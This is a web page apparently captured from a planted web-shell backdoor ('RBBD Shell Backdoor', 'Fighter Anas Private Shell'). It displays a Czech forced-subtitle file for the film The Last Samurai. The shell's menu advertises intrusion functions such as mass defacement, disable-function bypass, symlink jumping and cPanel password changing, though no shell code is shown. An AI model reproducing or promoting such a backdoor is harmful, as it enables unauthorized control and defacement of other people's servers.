⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
_Titulky BD
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/_Titulky BD/Posledni-samuraj-2003-cze-forced.srt
1 00:07:43,519 --> 00:07:44,872 Je hrubý. 2 00:07:45,604 --> 00:07:48,164 Takhle to tady chodí. Je to země laciných obchodníků. 3 00:11:18,025 --> 00:11:21,461 Přístav Jokohama, 1876 4 00:23:56,033 --> 00:23:58,593 Provincie Jošino, 1876 5 00:29:39,627 --> 00:29:41,106 Ten je můj. 6 00:30:08,530 --> 00:30:09,883 Zadržte. 7 00:30:17,581 --> 00:30:19,094 Odveďte ho. 8 00:32:30,130 --> 00:32:32,644 Ty drzá svině, odpověz! 9 00:32:44,853 --> 00:32:46,081 Nech ho být. 10 00:35:09,957 --> 00:35:12,152 Proč jste ho ušetřil, pane? 11 00:35:12,960 --> 00:35:15,235 Je poražen a zahanben. 12 00:35:16,213 --> 00:35:17,612 Měl by se zabít. 13 00:35:17,840 --> 00:35:19,990 U nich to není zvykem. 14 00:35:24,763 --> 00:35:25,752 Potom ... 15 00:35:26,807 --> 00:35:28,240 ho zabiju já. 16 00:35:28,976 --> 00:35:31,934 Otče, nemyslím si ... 17 00:35:34,690 --> 00:35:38,399 Udžio, zabíjení bude ještě dost. 18 00:35:39,528 --> 00:35:42,600 Musíme poznat nového nepřítele. 19 00:35:44,325 --> 00:35:45,724 Držte ho při životě. 20 00:35:55,044 --> 00:35:56,238 Je ve špatném stavu. 21 00:36:13,771 --> 00:36:15,329 Taka se o vás postará. 22 00:37:22,631 --> 00:37:25,145 Dej mu napít, teto. 23 00:37:25,801 --> 00:37:27,359 To není dobrý nápad. 24 00:37:27,553 --> 00:37:28,542 Tohle je moje vesnice. 25 00:37:28,721 --> 00:37:30,837 A tohle je můj dům. 26 00:40:56,053 --> 00:40:57,884 Tamhle. 27 00:44:21,925 --> 00:44:26,123 Pojďte dál, prosím. 28 00:45:05,552 --> 00:45:09,261 Smrdí jako prase. Řekni bratrovi, že to nesnesu. 29 00:45:09,807 --> 00:45:10,842 Řekni mu to sama. 30 00:45:11,016 --> 00:45:13,052 Ať se aspoň vykoupe. 31 00:46:24,048 --> 00:46:26,437 Jsou to sice děti, ale silné. 32 00:47:11,261 --> 00:47:12,330 Polož ten meč. 33 00:57:46,563 --> 00:57:49,282 Děkuji. Ještě rýži? 34 00:57:51,110 --> 00:57:54,261 Tako, promluvil japonsky. 35 00:57:55,239 --> 00:57:58,276 Jezte hodně. Nebuďte zdvořilý. 36 00:58:05,874 --> 00:58:06,863 Jak to, že rozumí? 37 00:58:11,547 --> 00:58:12,946 Uzel. 38 00:58:48,000 --> 00:58:52,073 Prosím, ať odejde. Nesnesu to. 39 00:58:52,921 --> 00:58:54,479 Odpuzuje tě? 40 00:58:54,840 --> 00:58:57,798 Ta hanba je nesnesitelná. Dovol mi vzít si život. 41 00:58:58,344 --> 00:59:00,300 Budeš dělat, co ti řeknu. 42 00:59:06,602 --> 00:59:09,275 Mám raději pomstít tvého muže? 43 00:59:09,772 --> 00:59:10,761 Ano. 44 00:59:14,985 --> 00:59:17,943 Hirotaró se ho snažil zabít. Byla to karma. 45 00:59:18,280 --> 00:59:19,395 Já vím. 46 00:59:24,036 --> 00:59:25,515 Odpusť mi moji slabost. 47 00:59:26,288 --> 00:59:29,963 Musí tady být z nějakého důvodu. 48 00:59:32,795 --> 00:59:35,673 Je to nad mé chápání. 49 01:00:43,198 --> 01:00:44,597 Lepší se, že? 50 01:00:46,702 --> 01:00:48,693 Pořád je tak ošklivý. 51 01:01:43,092 --> 01:01:44,445 Ne, prosím. 52 01:01:46,637 --> 01:01:48,514 Japonští muži s tímto nepomáhají. 53 01:01:49,765 --> 01:01:52,962 Já nejsem Japonec. 54 01:02:50,284 --> 01:02:54,357 Konal svou povinnost. 55 01:02:58,667 --> 01:03:02,376 Taky jste konal svou povinnost. 56 01:03:07,760 --> 01:03:11,469 Přijímám vaši omluvu. 57 01:04:44,940 --> 01:04:47,135 Udžio vyhraje ve třech krocích. 58 01:04:50,154 --> 01:04:51,223 V pěti. 59 01:05:06,045 --> 01:05:07,319 Další v pěti. 60 01:05:09,506 --> 01:05:10,655 V šesti. 61 01:06:37,553 --> 01:06:38,588 Nerozhodně. 62 01:07:22,514 --> 01:07:23,993 Co je to za amatéra? 63 01:08:32,626 --> 01:08:35,345 Chraňte Kacumota. Chraňte pána. 64 01:09:13,709 --> 01:09:16,143 Pane, běžte dovnitř, prosím. 65 01:14:54,591 --> 01:14:55,990 Omlouvám se. 66 01:14:58,053 --> 01:15:01,011 Ne, promiňte, jsem skoro hotová. 67 01:15:19,158 --> 01:15:20,876 Musím odjet. 68 01:15:43,182 --> 01:15:45,821 Byla jste ke mně laskavá. 69 01:15:49,355 --> 01:15:51,311 Nezapomenu. 70 01:20:02,301 --> 01:20:05,259 Postavil ses proti mně, učiteli. 71 01:20:05,513 --> 01:20:08,471 Ne. Bojuji s vašimi nepřáteli. 72 01:20:09,183 --> 01:20:12,778 Jsou to moji rádci, jako ty. 73 01:20:13,271 --> 01:20:15,910 Sledují vlastní zájmy. 74 01:20:16,941 --> 01:20:21,810 Potřebuji rádce, kteří znají moderní svět. 75 01:20:22,613 --> 01:20:27,084 Jestli mě už nepotřebujete, rád ukončím svůj život. 76 01:20:28,744 --> 01:20:30,018 Ne. 77 01:20:30,913 --> 01:20:33,473 Potřebuji tvůj hlas v radě. 78 01:20:34,041 --> 01:20:35,952 My potřebujeme váš hlas, výsosti. 79 01:20:37,003 --> 01:20:40,359 Jste bůh na zemi. Konejte, jak uznáte za správné. 80 01:20:40,631 --> 01:20:43,748 Jsem bůh na zemi, dokud dělám to, 81 01:20:44,677 --> 01:20:48,033 co oni považují za správné. 82 01:20:49,390 --> 01:20:51,381 To jsou smutná slova. 83 01:20:52,018 --> 01:20:55,135 Odpusťte. Říkám to, co učitel musí. 84 01:20:56,480 --> 01:20:58,550 Zapomněl jste na svůj lid? 85 01:21:01,652 --> 01:21:03,483 Řekni mi, co mám dělat, 86 01:21:05,281 --> 01:21:06,430 můj učiteli. 87 01:21:09,410 --> 01:21:13,767 Vy jste císař, můj pane, ne já. 88 01:21:15,499 --> 01:21:19,174 Musíte najít moudrost i za nás. 89 01:24:12,927 --> 01:24:14,645 Sledujte ho. 90 01:24:14,845 --> 01:24:18,076 Přiblíží-li se ke Kacumotovi, zabijte ho. 91 01:24:37,535 --> 01:24:43,405 Hej, samuraji, neznáš nařízení? 92 01:24:45,918 --> 01:24:48,068 Posloucháš, chlapče? 93 01:24:49,672 --> 01:24:51,549 Jste cizincům pro smích. 94 01:24:51,757 --> 01:24:56,273 - Uřízni mu ten uzel. - Na kolena. 95 01:24:57,471 --> 01:25:01,066 Skloňte zbraně. 96 01:25:03,185 --> 01:25:04,174 Kdo jste? 97 01:25:04,353 --> 01:25:06,264 Jsem kapitán Algren. 98 01:25:07,648 --> 01:25:08,922 Nech toho. 99 01:25:33,549 --> 01:25:35,028 Klekni si. 100 01:25:50,149 --> 01:25:51,741 Půjdeme. 101 01:26:08,209 --> 01:26:10,165 Zavedu tě domů. 102 01:26:40,074 --> 01:26:42,269 Západu se ubráníme tak, 103 01:26:42,493 --> 01:26:44,449 že sami budeme mocní. 104 01:26:44,662 --> 01:26:48,541 Vojensky i hospodářsky. 105 01:26:52,253 --> 01:26:55,370 Pane ministře, jaká čest. 106 01:26:58,009 --> 01:27:00,603 Je pro mě ctí účastnit se rady. 107 01:27:05,057 --> 01:27:07,969 Nevíte, že zákon zakazuje nosit meč? 108 01:27:08,519 --> 01:27:10,350 Každý zákon pečlivě studuji. 109 01:27:10,813 --> 01:27:14,010 Přesto sem vcházíte ozbrojen? 110 01:27:17,445 --> 01:27:20,642 Můj meč tuto místnost chránil ... 111 01:27:20,907 --> 01:27:24,422 Nepotřebujeme ochranu. Teď jsme právní stát. 112 01:27:24,869 --> 01:27:27,429 Jsme stát prodejných děvek ... 113 01:27:27,788 --> 01:27:32,304 Jestli jsme, tak kvůli samurajům. 114 01:27:32,793 --> 01:27:36,706 Omurova rodina, pokud vím, nedarovala žádné zlato lidu. 115 01:27:40,635 --> 01:27:43,593 Bohužel vás musím požádat, 116 01:27:44,597 --> 01:27:46,667 abyste odložil meč. 117 01:27:51,771 --> 01:27:53,489 Tento meč slouží císaři. 118 01:27:53,689 --> 01:27:55,680 Jen on mi to muže poručit. 119 01:28:18,965 --> 01:28:23,322 Císařův hlas je příliš ryzí, aby ho v radě bylo slyšet. 120 01:28:25,137 --> 01:28:28,334 Pak odmítám odložit meč. 121 01:28:34,063 --> 01:28:37,055 Mé stráže vás doprovodí do vašeho domu v Tokiu. 122 01:28:37,650 --> 01:28:40,448 Tam počkáte, až vás předvoláme. 123 01:31:01,836 --> 01:31:04,191 Ušetřete nám námahu. 124 01:33:54,091 --> 01:33:56,321 Samurajové jsou vyřízení. 125 01:34:22,662 --> 01:34:24,812 Zastavte. Nepřibližujte se. 126 01:34:27,792 --> 01:34:32,707 Ministr Omura nám přikázal vyfotografovat zrádce. 127 01:34:33,089 --> 01:34:34,568 Stůjte. Pojďte sem někdo. 128 01:34:35,049 --> 01:34:37,563 Přineste sem ihned to vybavení. 129 01:34:37,843 --> 01:34:39,834 Zastavte. 130 01:34:40,137 --> 01:34:44,255 Ty drzý pse. 131 01:34:46,352 --> 01:34:50,584 Tasíš meč v jeho přítomnosti? Víš, kdo to je? 132 01:34:51,065 --> 01:34:53,420 Je to americký prezident. 133 01:34:53,859 --> 01:34:57,932 Povede nás proti vzbouřencům. 134 01:34:58,990 --> 01:35:00,821 Já za to nemůžu ... 135 01:35:01,033 --> 01:35:04,423 Ihned jim běž pomoct. 136 01:35:07,582 --> 01:35:09,300 Odneste to vybavení. 137 01:37:34,812 --> 01:37:37,280 Můj pane, ne. 138 01:37:37,899 --> 01:37:39,014 Nobutado. 139 01:38:24,153 --> 01:38:27,304 Otče, dovol mi zůstat. 140 01:38:31,118 --> 01:38:32,597 Můj čas nadešel. 141 01:38:46,300 --> 01:38:50,054 Můj pane, musíme jít. 142 01:42:10,838 --> 01:42:14,433 Byl to dobrý muž. 143 01:42:17,929 --> 01:42:20,045 Budeš taky bojovat s bílými? 144 01:42:20,306 --> 01:42:25,426 Jestli sem přijdou, tak ano. 145 01:42:27,688 --> 01:42:28,837 Proč? 146 01:42:31,859 --> 01:42:38,617 Protože přijdou zničit to, co jsem si zamiloval. 147 01:42:50,419 --> 01:42:58,178 Cesta samuraje je pro něho těžká. Chybí mu otec. 148 01:42:59,887 --> 01:43:07,726 Zlobí se, protože za to můžu já. 149 01:43:12,775 --> 01:43:18,725 Ne, bojí se, že taky umřete. 150 01:43:39,343 --> 01:43:44,098 Otec mě učil, že je krásné zemřít v boji. 151 01:43:48,936 --> 01:43:55,614 Věřil tomu. 152 01:43:58,779 --> 01:44:00,531 Bál bych se zemřít v boji. 153 01:44:02,575 --> 01:44:03,724 Já také. 154 01:44:06,245 --> 01:44:08,475 Ale ty jsi už mockrát bojoval. 155 01:44:10,541 --> 01:44:13,374 A vždycky jsem se bál. 156 01:44:21,093 --> 01:44:22,446 Nechci, abys odešel. 157 01:44:26,265 --> 01:44:27,380 Už jdou. 158 01:48:27,131 --> 01:48:31,090 Pane Algrene, pojďte se mnou. 159 01:48:48,653 --> 01:48:52,123 Bude nám ctí, když ponesete tuto zbroj. 160 01:54:56,354 --> 01:54:58,709 Asi se nevzdají. 161 01:55:04,570 --> 01:55:07,038 Jsme připraveni? 162 01:55:09,533 --> 01:55:11,410 Zaujměte pozice. 163 02:07:29,106 --> 02:07:30,539 Připravte k palbě děla. 164 02:07:30,900 --> 02:07:32,128 Připravit k palbě. 165 02:10:48,723 --> 02:10:50,520 Přivezte nové zbraně. 166 02:10:51,601 --> 02:10:53,273 Připravte nové zbraně. 167 02:10:57,773 --> 02:10:58,762 Pal. 168 02:11:05,865 --> 02:11:07,981 Rychle. 169 02:11:11,662 --> 02:11:12,981 Pal. 170 02:12:57,894 --> 02:12:59,247 Přestaňte střílet. 171 02:12:59,687 --> 02:13:01,279 Střílejte, idioti. 172 02:13:01,814 --> 02:13:03,008 Přestaňte střílet. 173 02:13:15,536 --> 02:13:18,369 Zabijte Kacumota a Američana. 174 02:17:15,735 --> 02:17:17,054 Je tady? 175 02:18:21,717 --> 02:18:24,311 Mužeme dokončit toto jednání? 176 02:19:04,385 --> 02:19:08,776 Všichni truchlíme pro Kacumota. 177 02:19:23,112 --> 02:19:24,386 Výsosti ... 178 02:21:36,579 --> 02:21:38,137 Osvícený, probereme to ... 179 02:21:38,331 --> 02:21:41,721 Omuro, vy už jste udělal dost. 180 02:21:42,210 --> 02:21:44,519 Všechno jsem dělal pro vlast. 181 02:21:44,754 --> 02:21:46,551 Nebude vám tedy vadit, 182 02:21:46,756 --> 02:21:50,192 když váš majetek daruji lidu. 183 02:21:50,927 --> 02:21:53,202 Uvalujete na mě hanbu. 184 02:21:53,429 --> 02:21:55,420 Je-li neúnosná, 185 02:22:04,857 --> 02:22:07,371 nabízím vám tento meč.
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas